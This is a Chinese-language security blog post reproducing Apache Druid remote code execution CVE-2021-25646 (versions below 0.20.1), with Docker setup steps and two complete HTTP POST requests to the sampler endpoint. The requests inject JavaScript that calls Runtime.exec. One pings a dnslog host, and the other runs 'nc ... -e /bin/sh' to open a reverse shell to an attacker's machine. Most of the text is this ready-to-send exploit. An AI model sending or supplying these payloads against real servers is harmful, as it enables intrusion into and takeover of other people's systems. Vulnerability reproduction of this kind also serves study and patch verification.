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本文作者：PeiQi
本文字数：1713
阅读时长：10min
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声明：请勿用作违法用途，否则后果自负
本文属于WgpSec原创奖励计划，未经许可禁止转载
前言
漏洞描述
漏洞影响
Apache Druid < 0.20.1
漏洞复现
这里使用Docker来搭建环境
Docker下载链接: https://github.com/apache/druid/archive/druid-0.20.0.zip
下载之后进入目录 distributiondocker
执行命令编译 docker-compose up -d
访问 http://xxx.xxx.xxx.xxx:8888正常就行了
漏洞原理: https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw
POC请求包
POST /druid/indexer/v1/sampler HTTP/1.1Host: xxx.xxx.xxx.xxx:8888User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/jsonContent-Length: 995Connection: close{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2021-2-1T14:12:24.050Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping xxxxx.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
注意请求中这个位置改为你的dnslog平台地址java.lang.Runtime.getRuntime().exec('ping -c 4 xxxxx.dnslog.cn')
发送请求即可命令执行
看了下可能大部分都是docker搭建，而里面大部分命令是不存在的，但是发现docker里面居然默认是有 NC 命令的，那我们就可以用nc反弹一个shell了
反弹shell请求包
POST /druid/indexer/v1/sampler HTTP/1.1Host: xxx.xxx.xxx.xxx:8888User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/jsonContent-Length: 1008Connection: close{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2021-2-1T14:12:24.050Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec(' nc xxx.xxx.xxx.xxx 9999 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
发送请求包就可以得到一个交互式shell了
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本文始发于微信公众号（WgpSec狼组安全团队）：Apache Druid 远程代码执行漏洞 CVE-2021-25646
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